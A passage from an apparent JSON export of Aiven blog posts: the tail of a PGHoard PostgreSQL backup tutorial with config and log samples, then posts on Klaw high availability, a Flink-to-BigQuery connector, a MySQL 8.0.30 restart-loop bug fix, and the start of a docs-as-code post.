Ubuntu.  Instructions for building distribution specific packages can be found in the [PGHoard README](https://github.com/aiven/pghoard/blob/master/README.rst#building).  As PGHoard is a Python package it can also be installed on any system with Python 3 by running\n`pip3 install pghoard`.\n\n### Taking backups with PGHoard\n\nPGHoard provides a number of tools that can be launched from the command-line:\n\n*   pghoard - The backup daemon itself, can be run under systemd sysvinit\n*   pghoard_restore - Backup restoration tool\n*   pghoard_archive_sync - Command for verifying archive integrity\n*   pghoard_create_keys - Backup encryption key utility\n*   pghoard_postgres_command - Used as PostgreSQL's archive_command and restore_command\n\nFirst, we will launch the pghoard daemon to start taking backups.  pghoard\nrequires a small JSON configuration file that contains the settings for the\nPostgreSQL connection and for the target backup storage.  We'll name the\nfile `pghoard.json`:\n\n```javascript\n{\n    \"backup_location\": \"./metadata\",\n    \"backup_sites\": {\n        \"example-site\": {\n            \"nodes\": [\n                {\n                    \"host\": \"127.0.0.1\",\n                    \"password\": \"secret\",\n                    \"port\": 5432,\n                    \"user\": \"backup\"\n                }\n            ],\n            \"object_storage\": {\n                \"storage_type\": \"local\",\n                \"directory\": \"./backups\"\n            }\n        }\n    }\n}\n```\n\nIn the above file we just list where pghoard keep's its local working directory (backup_location), our PostgreSQL connection settings (nodes) and where we want to store the backups (object_storage. In this example we'll just write the backup files to a local disk instead of a remote cloud object storage.\n\nThen we just need to run the pghoard daemon and point it to our configuration file:\n\n```\n$ **pghoard --short-log --config pghoard.json**\nDEBUG   Loading JSON config from: './pghoard.json', signal: None\nINFO    pghoard initialized, own_hostname: 'ohmu1', cwd: '/home/mel/backup'\nINFO    **Creating a new basebackup for 'example-site' because there are currently none**\nINFO    Started: ['/usr/bin/pg_receivexlog', '--status-interval', '1', '--verbose', '--directory', './metadata/example-site/xlog_incoming', '--dbname', \"dbname='replication' host='127.0.0.1' port='5432' replication='true' user='backup'\"], running as PID: 8809\nINFO    Started: ['/usr/bin/pg_basebackup', '--format', 'tar', '--label', 'pghoard_base_backup', '--progress', '--verbose', '--dbname', \"dbname='replication' host='127.0.0.1' port='5432' replication='true' user='backup'\", '--pgdata', './metadata/example-site/basebackup_incoming/2016-04-28_0'], running as PID: 8815, basebackup_location: './metadata/example-site/basebackup_incoming/2016-04-28_0/base.tar'\nINFO    **Compressed 16777216 byte file './metadata/example-site/xlog_incoming/000000010000000000000025' to 805706 bytes (4%), took: 0.056s**\nINFO    **'UPLOAD' transfer of key: 'example-site/xlog/000000010000000000000025', size: 805706, took 0.003s**\nINFO    Ran: ['/usr/bin/pg_basebackup', '--format', 'tar', '--label', 'pghoard_base_backup', '--progress', '--verbose', '--dbname', \"dbname='replication' host='127.0.0.1' port='5432' replication='true' user='backup'\", '--pgdata', './metadata/example-site/basebackup_incoming/2016-04-28_0'], took: 0.331s to run, returncode: 0\nINFO    **Compressed 16777216 byte file './metadata/example-site/xlog_incoming/000000010000000000000026' to 797357 bytes (4%), took: 0.057s**\nINFO    **'UPLOAD' transfer of key: 'example-site/xlog/000000010000000000000026', size: 797357, took 0.011s**\nINFO    **Compressed 80187904 byte file './metadata/example-site/basebackup_incoming/2016-04-28_0/base.tar' to 15981960 bytes (19%), took: 0.335s**\nINFO    **'UPLOAD' transfer of key: 'example-site/basebackup/2016-04-28_0', size: 15981960, took 0.026s**\n```\n\nPGHoard automatically connected to the PostgreSQL database server, noticed that we don't have any backups and immediately created a new basebackup and started the realtime streaming of WAL files (which act as incremental backups). Each file stored in the backups was first compressed for optimizing the transfer and storage costs.\n\nAs long as you keep PGHoard running, it will make full backups using the default schedule (once per 24 hours) and continuously stream WAL files.\n\nLooking at the contents of the backups directory, we see that our backups now contain a full database backup plus a couple of WAL files, and some metadata for each of the files:\n\n```\n$ find backups/ -type f\nbackups/example-site/xlog/000000010000000000000025\nbackups/example-site/xlog/000000010000000000000025.metadata\nbackups/example-site/xlog/000000010000000000000026\nbackups/example-site/xlog/000000010000000000000026.metadata\nbackups/example-site/basebackup/2016-04-28_0\nbackups/example-site/basebackup/2016-04-28_0.metadata\n```\n\nAvailable backups can be listed with the pghoard_restore tool:\n\n```\n$ pghoard_restore list-basebackups --config pghoard.json\nAvailable 'example-site' basebackups:\n\nBasebackup                                Backup size    Orig size  Start time\n----------------------------------------  -----------  -----------  --------------------\nexample-site/basebackup/2016-04-28_0            15 MB        76 MB  2016-04-28T06:40:46Z\n```\n\nLooks like we are all set. Now let's try restore!\n\n### Restoring a backup\n\nRestoring a backup is a matter of running a single command:\n\n```\n$ pghoard_restore get-basebackup --config pghoard.json --target-dir restore-test\nFound 1 applicable basebackup\n\nBasebackup                                Backup size    Orig size  Start time\n----------------------------------------  -----------  -----------  --------------------\nexample-site/basebackup/2016-04-28_0            15 MB        76 MB  2016-04-28T06:40:46Z\n    metadata: {'compression-algorithm': 'snappy', 'start-wal-segment': '000000010000000000000026', 'pg-version': '90406'}\n\nSelecting 'example-site/basebackup/2016-04-28_0' for restore\nBasebackup complete.\nYou can start PostgreSQL by running pg_ctl -D restore-test start\nOn systemd based systems you can run systemctl start postgresql\nOn SYSV Init based systems you can run /etc/init.d/postgresql start\n```\n\nThe `pghoard_restore` command automatically chooses the latest available\nbackup, downloads, unpacks (and decompresses and decrypts, when those\noptions are used) it to the specified target directory.  The end result will\nbe a complete PostgreSQL data directory (e.g.  something like\n`/var/lib/postgresql/9.5/main` or `/var/lib/pgsql/data`, depending on the\ndistro), ready to be used by a PostgreSQL instance.\n\nThere are more command-line options for more detailed control over the restoration process, for example restoring to a particular point in time or transaction (PITR) or choosing whether the restored database will be acting as a master or a standby.\n\n### Backup encryption\n\nIn order to encrypt our backups, we'll need to create an encryption key pair. PGHoard provides a handy command for automatically creating a key pair and storing it into our configuration file:\n\n```\n$ pghoard_create_keys --key-id example --config pghoard.json\nSaved new key_id 'example' for site 'example-site' in 'pghoard.json'\nNOTE: The pghoard daemon does not require the 'private' key in its configuration file, it can be stored elsewhere to improve security.\n```\n\nNote that in most cases you will want to extract the private key away from the configuration file and store it safely elsewhere away from the machine that makes the backups. The pghoard daemon only needs the encryption public key during normal operation. The private key is only required by the restore tool and the daemon while restoring a backup.\n\n### Uploading backups to the cloud\n\nSending backups to an object storage in the cloud is simple: we just need the cloud's access credentials and we'll modify the\n`object_storage` section of `pghoard.json`:\n\n```\n            \"object_storage\": {\n                \"aws_access_key_id\": \"XXX\",\n                \"aws_secret_access_key\": \"XXX\",\n                \"bucket_name\": \"backups\",\n                \"region\": \"eu-central-1\",\n                \"storage_type\": \"s3\"\n            }\n```\n\nNow when we restart `pghoard`, the backups are sent to AWS S3 in Frankfurt:\n\n```\n$ pghoard --short-log --config pghoard.json\nDEBUG   Loading JSON config from: './pghoard.json', signal: None\nINFO    pghoard initialized, own_hostname: 'ohmu1', cwd: '/home/mel/backup'\nINFO    Started: ['/usr/bin/pg_receivexlog', '--status-interval', '1', '--verbose', '--directory', './metadata/example-site/xlog_incoming', '--dbname', \"dbname='replication' host='127.0.0.1' port='5432' replication='true' user='backup'\"], running as PID: 8001\nINFO    **Creating a new basebackup for 'example-site' because there are currently none**\nINFO    Started: ['/usr/bin/pg_basebackup', '--format', 'tar', '--label', 'pghoard_base_backup', '--progress', '--verbose', '--dbname', \"dbname='replication' host='127.0.0.1' port='5432' replication='true' user='backup'\", '--pgdata', './metadata/example-site/basebackup_incoming/2016-04-28_1'], running as PID: 8014, basebackup_location: './metadata/example-site/basebackup_incoming/2016-04-28_1/base.tar'\nINFO    Ran: ['/usr/bin/pg_basebackup', '--format', 'tar', '--label', 'pghoard_base_backup', '--progress', '--verbose', '--dbname', \"dbname='replication' host='127.0.0.1' port='5432' replication='true' user='backup'\", '--pgdata', './metadata/example-site/basebackup_incoming/2016-04-28_1'], took: 0.350s to run, returncode: 0\nINFO    **Compressed and encrypted 16777216 byte file './metadata/example-site/xlog_incoming/000000010000000000000027' to 799445 bytes (4%), took: 0.406s**\nINFO    **Compressed and encrypted 16777216 byte file './metadata/example-site/xlog_incoming/000000010000000000000028' to 797784 bytes (4%), took: 0.137s**\nINFO    **Compressed and encrypted 80187904 byte file './metadata/example-site/basebackup_incoming/2016-04-28_1/base.tar' to 15982372 bytes (19%), took: 0.417s**\nINFO    **'UPLOAD' transfer of key: 'example-site/xlog/000000010000000000000028', size: 797784, took 0.885s**INFO**    'UPLOAD' transfer of key: 'example-site/xlog/000000010000000000000027', size: 799445, took 1.104s**\nINFO    **'UPLOAD' transfer of key: 'example-site/basebackup/2016-04-28_1', size: 15982372, took 4.911s**\n```\n\nThe restore tool works the same way regardless of where the backups are stored:\n\n```\n$ pghoard_restore list-basebackups --config pghoard.json\nAvailable 'example-site' basebackups:\n\nBasebackup                                Backup size    Orig size  Start time\n----------------------------------------  -----------  -----------  --------------------\nexample-site/basebackup/2016-04-28_1            15 MB        76 MB  2016-04-28T09:39:37Z\n\n```\n\nToday we released PGHoard version 1.2.0 with support for Python 3.3 and PostgreSQL 9.2 plus enhanced support for handling network outages.  These features were driven by external users, in Aiven we always use the latest PostgreSQL versions (9.5.2 at the time of writing) and access object storages near the database machines.\n\n### PGHoard in Aiven.io\n\nWe're happy to talk more about PGHoard and help you set up your backups with it.  You can also sign up for a free trial of our [aiven.io PostgreSQL](https://aiven.io/postgresql) service where PGHoard will take care of your backups.\n","categories":[{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"publishedAt":"2016-04-28T10:38:00.000Z","seo":{"metaDescription":"Aiven-built PGHoard is a pretty neat cloud backup and restore solution. Find out what it does exactly and how to set it up in this latest blog post.","metaImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"metaTitle":"PostgreSQL cloud backups with PGHoard"},"slug":{"_type":"slug","current":"/blog/postgresql-cloud-backups-with-pghoard"},"subtitle":"Aiven-built PGHoard is a pretty neat cloud backup and restore solution. Find out what it does exactly and how to set it up in this latest blog post.","title":"PostgreSQL cloud backups with PGHoard"}
{"__i18n_lang":"en","_createdAt":"2023-07-13T08:22:24Z","_id":"93be4feb-f9e0-41bf-8d63-3b83cb3b8416","_rev":"pDdzqLCfBQpAVehlg2EFNY","_type":"post","_updatedAt":"2023-07-17T08:46:35Z","authors":[{"_key":"8ec9d32d7dae","_ref":"3CMp6swW2L6wlHhqp57gWe","_type":"reference"}],"body":"Many organizations use Klaw, one of Aiven’s open source projects, to manage and govern Apache Kafka®  ACLs and permissions in their environments. It is important to ensure that Klaw is fault tolerant and able to serve requests seamlessly and efficiently.\n\nIn a few organizations, Klaw is managing from 10 to 100s of Kafka clusters, and it is clear that the application is quite business critical and we need to understand the severity of downtime. This implies that Klaw should be made available on multiple replicated instances and run in failover mode or active/active.\n\n## Why high availability for Klaw?\n\nBefore diving into what high availability is, let's understand why it's crucial for Klaw. As Klaw is essential in managing and monitoring Kafka clusters, ensuring its resilience against potential failures is paramount. Downtime can have dire consequences ranging from slight inconveniences to lost revenue and a damaged reputation. High availability for Klaw addresses these critical issues:\n\n- **Minimizing downtime:** By eliminating single points of failure and ensuring redundancy in the system, HA for Klaw minimizes or eliminates downtime.\n- **Scalability:** As the workload increases, Klaw can handle a higher number of requests, catering to a growing user base, thanks to the HA configuration.\n- **Data availability:** Ensuring that the data is always available, even in the case of component failures, is crucial. HA ensures the data is replicated across different servers, safeguarding against data loss.\n- **Service continuity:** In the event of a disaster or system failure, HA ensures that there is no interruption in service and the operations continue without a hitch.\n- **Enhanced user experience:** Consistent availability and reliability improve user experience, which is vital for customer satisfaction and retention.\n\n## Deploying Klaw at high availability \n\nIn version 2.4.0 and earlier, Klaw could not be deployed in a high availability setup due to architectural limitations in how Klaw managed its internal cache. This meant that Klaw could only be deployed as one instance in production or any environment. \n\nKlaw stores most authorization-related data in the cache to avoid enormous database calls. This effectively reduces latency and gives users immediate response from the application. \n\nTo address this, the developer team behind Klaw introduced a feature that discovers all the available instances of Klaw which are deployed in high availability mode and resets the cache on those instances.\n\n![A diagram showing a multi instance deployment of Klaw with caching on both instances. The cache on the second instance resets when a request hits the first instance.](https://cdn.sanity.io/images/sczeoy4w/production/9cd0ff4f9f6c7db48825e01cb4e5f4592d3460aa-831x486.png)\n\nIn the above example, a Klaw user adds (applies) a new team to instance 1. Klaw stores this information in its cache and triggers a new cache reset request on other instances which updates its local cache.\n\nKlaw relies on its metadata which consists of users, teams, roles, permissions, clusters, environments and topics info. Klaw users can range from 50 to 500 or more users accessing the application requesting for topics, subscriptions, schemas and connectors daily. Handling all the requests with database queries is not efficient and database friendly. Hence, Klaw stores all information in its internal memory and resets it whenever there are changes requested. This allows Klaw to run seamlessly and serve the user’s requests without failure while querying real time data.\n\n## The benefits of high availability \n\nYou can learn more about the specific implementation patterns for using Klaw in high availability mode with NGINX as the load balancing server [on the Klaw blog](https://www.klaw-project.io/blog/high-availability-for-klaw/).\n\nHigh availability provides the following benefits to you: \n\n\n- **Load balancing:** Ensuring systems can handle higher workloads and substantial traffic. For example,  50,000  Kafka topics and ACLs on them with several back and forth requests requires load balancing to be performant. \n- **Fault tolerance:** If a server within a cluster experiences a failure, a replicated server in a separate cluster can seamlessly take over the workload initially assigned to the failed server. This redundancy allows for failover, where a secondary component assumes the responsibilities of a primary component upon failure while minimizing any adverse effects on performance.\n- **Least connected balancing:** Least-connected load balancing allows controlling the load on application instances more fairly in a situation when some of the requests take longer to complete.\n\n## Learn more \n\nYou can learn more about Klaw, an Aiven open source project for external management of Apache Kafka ACLs and configurations on the [Klaw project website](https://www.klaw-project.io/) or [GitHub organization](https://github.com/aiven/klaw). Feel free to open a GitHub issue or reach out via the [community forums](https://aiven.io/community/forum/) if you have any issues with Klaw.\n\n\nThe Klaw team is one of many open source maintainer teams that Aiven's [Open Source Programs Office](https://www.klaw-project.io/) helps maintain and sponsor. Aiven also works on [PGHoard](https://github.com/aiven/pghoard), a PostgreSQL® backup service and [Karapace](https://www.karapace.io/), an Apache Kafka® REST proxy.\n\nIf you want to try out Klaw or any of Aiven's other open source projects, we recommend [signing up for a free trial of Aiven for Apache Kafka®](https://console.aiven.io/signup).","categories":[{"_key":"dd3bca4302ca","_ref":"dIABIFlQ2WxdM5KNsxEcc","_type":"reference"},{"_key":"cdae3b0d2d36","_ref":"5da1e1bb-fe75-4489-8510-b67f1fdec3c7","_type":"reference"},{"_key":"26989c412cc0","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Enabling high availability for Klaw with NGINX","asset":{"_ref":"image-dd1d2e6008b7dd6fdb956fd6bc769ed9253f68eb-1567x844-png","_type":"reference"}},"publishedAt":"2023-07-13T08:21:48.496Z","related":[{"_key":"48a80c747450","_ref":"de15d64a-ab02-4a06-bd4d-e37a5095883b","_type":"reference"},{"_key":"69a78dced98b","_ref":"4VOnZBlI7irStOfihS2uKr","_type":"reference"},{"_key":"ab841dab0e29","_ref":"85eab45a-fdee-4d88-8abc-81ba9ee74fc5","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/enabling-high-availability-for-klaw-with-nginx"},"subtitle":"Announcing the availability of the high availability feature in Klaw, eliminating any single point of failure and ensuring minimal or no downtime.","title":"Enabling high availability for Klaw with NGINX"}
{"__i18n_lang":"en","_createdAt":"2023-08-17T14:38:34Z","_id":"3c62d57c-a82b-416e-b33e-a49fadcaec1d","_rev":"L3boCkkiM9On4ApfxLi962","_type":"post","_updatedAt":"2024-03-11T08:22:26Z","authors":[{"_key":"a9e55dde503e","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"}],"body":"Organizations today require real-time analysis to gather immediate feedback and improve their product or service offering. Research shows it takes only a mere three-second window to retain a customer on a website. Within this brief span, responding to data in real time becomes imperative for grasping customer insight and delivering customized offerings in a matter of seconds. To better understand the needs of the customer, data warehousing technologies are now leveraged in a very different capacity: one that allows developer teams to tap into the power of real time data and provide low latency analytics.\n\nStream processing technologies, like Apache Flink®, have emerged as a key enabler for real time data computations, allowing organizations to make better sense of their data and bring millisecond latency response to their users. An example is Pinterest, which runs experiment analytics in real time with the power of streaming technologies like Apache Kafka® and Apache Flink. Leveraging the combination of a robust streaming infrastructure with scalable data warehousing becomes a de facto combination for turning your customer response from hours - or even days - to just seconds.\n\nToday we are thrilled to share two exciting announcements that tightly connect Aiven’s streaming technologies with Google's BigQuery ecosystem for data warehousing. \n\nFirstly, we are excited to announce that Aiven has successfully achieved Google Cloud Ready - BigQuery designation which marks a significant milestone for our partnership with Google Cloud. This designation enables customers to have better confidence in the products that they use today being integrated optimally with BigQuery. \n\nAdditionally, we are introducing the early availability of the open source connector for Apache Flink® to BigQuery allowing more low latency analytical workloads on top of streaming data directly on Google Cloud!\n\n\n## Joining the Google Cloud Ready - BigQuery Initiative\n\nWe are pleased to announce that we have successfully achieved Google Cloud Ready - BigQuery designation. This designation enables customers to easily discover Aiven technologies directly in the BigQuery Partner Center.\n\nBy earning this designation, Aiven has proven that our products have met a core set of functionality and interoperability requirements when integrating with BigQuery. Being part of the program also ensures more opportunities for Aiven and Google Cloud’s partner engineering and BigQuery teams to collaborate closely.\n\n“We are very excited that Aiven for Apache Kafka is now recognized as a partner of the Google Cloud Ready - BigQuery program, as this is a testament to our continuous collaboration and partnership with Google Cloud and its ecosystem of technologies to improve and unlock new use cases for our users,” said Jonah Kowall, Vice President of Product Management at Aiven.  \n\n“The Google Cloud Ready-BigQuery designation gives customers confidence that solutions have gone through a formal certification process and will deliver the best possible performance with BigQuery,” said Ritika Suri, Director of Technology Partnerships at Google Cloud. “With Aiven, customers can connect all of their data and metrics with BigQuery to more easily optimize their business performance.” \n\n[Swift](https://aiven.io/case-studies/aiven-enabling-swift-growth) is one of the customers implementing the company’s Warehouse Management System 2.0: using [Aiven for Apache Kafka](https://aiven.io/kafka) with Apache Kafka Connect to stream warehouse data into BigQuery. Using Aiven for Apache Kafka with BigQuery allows them to implement advanced horizontal logistics collaboration (HLC) with the larger ecosystem of their parent organization. \"With the great help and support from Aiven, we can keep our infrastructure stable, scale our business fast, and keep control of our data,\" says Alfi Zainuddin, CTO at Swift Solutions\n\n[Hookdeck](https://aiven.io/case-studies/hookdeck-powers-cloud-data-infrastructure), our joint customer with Google Cloud, has successfully used Aiven for Apache Kafka and its highly available data streaming solution to transfer the data from PostgreSQL to BigQuery. “....we could tap into the great tooling that’s available. We spent some time fine-tuning the integrations and ended up with staggering performance levels. We were able to do 60,000 messages a second,” says Maurice Kherlakian, CTO \u0026 Founding engineer at Hookdeck.\n\n\n## Bridging the gap between streaming data and analytical workloads with the connector for Flink and BigQuery\n\nIn addition to the Google Cloud Ready - BigQuery designation we are also introducing the open source connector for Flink and BigQuery. Aiven is the trusted open source data platform for everyone! In line with our vision, we want the integration between our platform and popular technologies to be as easy and streamlined as possible giving additional flexibility not only to our customers but also to the wider open source community wanting to integrate Apache Flink with popular technologies like BigQuery.\n\nIn line with this, we are bringing the Flink to BigQuery sink connector licensed under the [Apache-2.0 software license](https://github.com/aiven/bigquery-connector-for-apache-flink/blob/main/LICENSE) that allows developers to use the connector no matter whether they use open source Apache Flink or a fully-managed service such as [Aiven for Apache Flink](https://aiven.io/flink).\n\nUsers of the new Flink and BigQuery connector can now develop scalable streaming data pipelines and streaming applications by reading data from multiple sources including data streaming technologies like [Apache Kafka](https://aiven.io/kafka)® or by leveraging Change Data Capture (CDC) to record row-level changes from their operational databases like [PostgreSQL](https://aiven.io/postgresql), in real time. With a stream processing technology like Apache Flink, developer teams can easily make real time transformations to the data and pass the transformed events to BigQuery for further analytical and data warehousing applications and use cases.\n\n\n![Connectinf Flink to BigQuery with the open source sink connector contributed by Aiven](https://cdn.sanity.io/images/sczeoy4w/production/d5f1a09202c27f936aef57e9b2912c471667d2f9-5515x2736.png?w=450)\n\n\nThe existing early availability of the connector currently supports Apache Flink’s SQL \u0026 Table API while future iterations will add support for Flink’s DataStream API and BigQuery’s new Storage API for more efficient and cost-effective analytical workloads at scale.\n\n\n## Pricing \u0026 availability\n\nThe sink connector between Apache Flink and BigQuery is available as an integration in the Aiven Console today. Simply go to your [Aiven for Apache Flink application](https://console.aiven.io/login) and select the BigQuery integration from the [Aiven Console](https://aiven.io/docs/products/flink/howto/connect-bigquery#configure-integration-using-aiven-console) or through the [Aiven CLI](https://aiven.io/docs/products/flink/howto/connect-bigquery#configure-integration-using-aiven-cli).  Users of the connector can now seamlessly integrate their streaming data with the BigQuery ecosystem in Google Cloud regions around the globe. Explore more options on our [pricing page](https://aiven.io/pricing?product=flink).\n\nThe connector can also be accessed directly on [GitHub](https://github.com/aiven/bigquery-connector-for-apache-flink). We encourage more contributions and ideas from the users of the connector and the wider Flink and BigQuery communities. \n\n\n## Get Started with Aiven for Apache Flink\n\nYou can now seamlessly integrate Aiven for Apache Flink with BigQuery with just a few clicks in the Aiven console or commands in Aiven’s CLI. If you are new to Aiven, you can sign up for a [free 30-day trial](https://aiven.io/how-to-get-started-with-aiven) or [schedule a demo](https://aiven.io/book-demo) with our team and explore how Flink and BigQuery can work together for you.","mainImage":{"_type":"mainImage","alt":"Apache Flink and BigQuery, connector for Flink and BigQuery, Kafka BigQuery ready, BigQuery partner ready program, streaming data ","asset":{"_ref":"image-762f348994d9a83bd1cd660ba5b035cd535ce846-1200x628-png","_type":"reference"}},"publishedAt":"2023-08-30T14:37:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven enters Google Cloud’s BigQuery Ready Program and launches new Flink to BigQuery sink connector to tightly connect streaming data with BigQuery’s ecosystem","metaImage":{"_type":"mainImage","alt":"Flink and BigQuery, connector for Flink and BigQuery, Kafka BigQuery ready, BigQuery partner ready program, streaming data ","asset":{"_ref":"image-762f348994d9a83bd1cd660ba5b035cd535ce846-1200x628-png","_type":"reference"}},"metaTitle":"Aiven connects streaming data with the BigQuery ecosystem"},"slug":{"_type":"slug","current":"/blog/aiven-connecting-streaming-data-with-the-bigquery-ecosystem"},"subtitle":"Aiven enters Google Cloud Ready - BigQuery designation and launches new Apache Flink® to BigQuery sink connector to tightly connect streaming data with BigQuery’s ecosystem","title":"Aiven is connecting streaming data with the Google BigQuery ecosystem"}
{"__i18n_lang":"en","_createdAt":"2023-06-21T09:46:50Z","_id":"9549ed5f-dc39-4a33-b102-11cdc97f473e","_rev":"Y6NNh6Ue45iOdNdcwAROc0","_type":"post","_updatedAt":"2024-07-05T10:17:29Z","authors":[{"_key":"eab77b6a7866","_ref":"18b2384d-a539-411b-8aab-d148082fe230","_type":"reference"},{"_key":"38df910c2b87","_ref":"9458a930-7d87-42a6-9412-9c0d92077a95","_type":"reference"}],"body":"One of the hardest questions we answer for our large enterprise customers is why they should choose Aiven instead of managing their own database and streaming services. It can seem counterintuitive that paying extra for a managed service can save you money. However, when we factor in economies of scale - particularly in regards to access to specialized knowledge and tooling - the case for managed services becomes clear. This was certainly the case for some of our MySQL clients earlier this year, where their investments in Aiven paid off in the form of a quietly managed bug fix. \n\n## What happened\n\nIn January 2023, our Site Reliability Engineering team began receiving reports that some MySQL databases were caught in restart loops. Aiven’s SRE team has playbooks for these instances - namely, we allow nodes to gracefully failover to a standby - but for some reason, this process wasn’t working: SREs had to manually restart nodes and restore them, and within days or weeks customers, sometimes the same ones, would find themselves facing another outage. \n\nIn addition, oftentimes when the SRE team did get those customer’s databases back online, it was difficult to restore from backup: the data had become corrupted. \n\nAiven’s SRE team felt the issue was “too intermittent to track” at first. Final statistics showed that less than \u003c1% of Aiven’s tens of thousands of customers were affected, and the SRE team was only seeing incidents matching the pattern, at most, a few times a week.\n\nHowever, over the course of a few weeks, the SRE team received enough reports from enough customers to realize that there was a broader incident at play, and they began their investigation work.  \n\n## Doing the detective work: the power of economies of scale \n\nMost of Aiven’s enterprise customers have their own Site Reliability Engineering teams. So why, you might ask, do they find value in a company like Aiven? The simple answer is that Aiven works for them because of economies of scale. It’s more efficient for Aiven to hire high quality database specialists and excellent SREs than it is for our customers to do so, and the kind of time investment and tooling Aiven can develop for the services we provide might not make sense even for a very large enterprise to do. \n\nThat’s what happened with this MySQL issue: upon further investigation by Aiven’s SRE and data services teams, we discovered that the core of the issue was related to a change of data types introduced in MySQL 8.0.30. Using `SELECT` on a problematic row caused the restart loop, and in addition corrupted the data in that row, making it more likely that the error would occur in future.\n\nAiven’s data services team discovered this by scanning thousands of deployments - the error occurred for a tiny amount of our customers.  \n\n## Squashing 10,000 bugs with tooling\n\nAiven compared the source code of MySQL 8.0.30 and MySQL 8.0.31, and identified the block of code that changed and caused the issue. This sounds trivial, but in practice one of our engineers scanned through hundreds of commits in MySQL to identify the change.\n\nIt seems like the mitigation would be to upgrade MySQL to 8.0.31, but Aiven provides robust backups for our customers. The tooling Aiven uses to create and manage [MySQL database backups](https://aiven.io/blog/introducing-myhoard-your-single-solution-to-mysql-backups-and-restoration) lags behind the MySQL version releases: simply put, we could not upgrade MySQL and keep our backup promises at the same time. \n\nAn individual business might choose to upgrade anyway, but because Aiven operates at scale for thousands of customers, we had another option available: we decided to backport the fix to MySQL 8.0.30, and support a custom version of MySQL until our backup tooling released a version compatible with a more recent MySQL version. This let us continue to run robust, compliant backup tooling and mitigate the issue for our customers.\n\nIn addition, Aiven’s team developed a small script that rebuilt all MySQL databases upon startup - this way, we could ensure that the change was applied to all MySQL database customers, rather than just those experiencing the issue.\n\n## When rolling your own is risky \n\nFor a business managing their own database infrastructure, an error like this would be too obscure to find: across tens of thousands of Aiven for MySQL customers, Aiven only observed the issue just over 100 times, and only received a handful of reports. Of those, only a few customers experienced the issue more than once. Aiven runs more than 30,000 MySQL services so this is a genuinely tiny proportion. \n\nWithout sounding reductive of businesses that do manage their own infrastructure, the odds of experiencing the issue enough times that your database or site reliability engineering team could notice a pattern and have enough data to mitigate the issue are exceedingly low. However, for Aiven, which has higher investment in monitoring MySQL at scale for thousands of customers, it was easier to see the pattern and mitigate.This is the power of managed services, even for large businesses: it doesn’t make sense for your business to invest in this kind of tooling, but for a small fee, you have access to a company like Aiven, for whom it does. \n\nSo what would happen to you instead? \n\nYour business would experience a show-stopping IT incident. First, your database would be caught in a restart loop, like our customers were. When you eventually resolved that, there’s a high chance your database would be corrupted. If you were smart, you’d restore that database from a backup, but setting up automated backups takes time and energy that small development teams often don’t have. You would have, in many cases, a very long and problematic production outage on your hands, in addition to potential data loss. And then, when you least expect it, the error would happen again, because you wouldn’t have the information to solve the problem at its source. \n\nAt Aiven, the longest production outage our customers experienced with this was approximately 2 hours, and the longest database rebuild time our customers experienced was about 6 hours. Out of all the failures Aiven saw in production, we only needed to manually restart a service once – automation took care of the rest. Our customers lost minimal data due to the robust backup tooling that Aiven uses. From our perspective, having a trusted partner full of MySQL and SRE experts to get your databases back online is a far better proposition than having to do it yourself with nowhere near the expertise. \n\n\n## Wrapping up \n\nAiven lets you manage your databases, streaming services and more directly in the [Aiven Console](https://console.aiven.io/) or by using the [Aiven API](https://api.aiven.io/doc/). For more information on Aiven for MySQL, [check out the documentation](https://aiven.io/docs/products/mysql) or our tutorials [on the Developer Center](https://aiven.io/developer/mysql)\n\nNot an Aiven customer yet? You can [schedule a demo](https://aiven.io/book-demo) and explore Aiven for MySQL firsthand or start your free 30-day [here](https://aiven.io/how-to-get-started-with-aiven)!","categories":[{"_key":"cd4866d9ebc8","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"},{"_key":"b71a1958e09a","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Solving issues for everyone","asset":{"_ref":"image-3bf933cb9ae4c9ea255398acbc0c0aaac4adc831-1567x844-png","_type":"reference"}},"publishedAt":"2023-07-06T08:20:32.941Z","related":[{"_key":"79d5a04ee317","_ref":"1Ra2d6bJ8rmAaOIoRQafNS","_type":"reference"},{"_key":"2c378088aee1","_ref":"1i9IaqeHcQuBRkkb08Oioz","_type":"reference"}],"seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-3bf933cb9ae4c9ea255398acbc0c0aaac4adc831-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/mysql-bug-story-or-why-aiven-works"},"subtitle":"Why use Aiven for MySQL service when you could just roll your own? The simple answer: managed services make economies of scale work for you.\n","title":"Scale up: a MySQL bug story, or why Aiven works"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T08:45:26Z","_id":"BdgLXhx9sRTTXyfUEGlkk","_rev":"FJE9FJz5NeK3Yo2P5WXUQz","_type":"post","_updatedAt":"2023-06-19T08:33:15Z","authors":[{"_key":"4eOoTE1EiQcR9UTalcanQG","_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"}],"body":"## Contributing to documentation: Aiven Developer\n\nAt Aiven, documentation is a cross-departmental effort. As colleagues, more experienced documentation contributors run sessions to onboard new people and to lend a hand as they make their first edits to [developer.aiven.io](https://developer.aiven.io).\n\nToday we're at a point where we can welcome external contributions. If you’re using our docs and find that something is missing, or you see an opportunity to improve it, then please consider contributing to our growing body of developer documentation.\n\n### About Docs as Code\n\nAccording to [Write The Docs](https://www.writethedocs.org/guide/docs-as-code/) \"Documentation as Code (Docs as Code) refers to a philosophy that you should be writing documentation with the same tools as code\". That means using issue trackers, version control, plain text markup such as Markdown or reStructuredText, implementing code reviews, and having automated tests for your documentation.\n\nDocs as Code also means following the same workflows as software development teams do, and having close ties with the product team. It enables a culture 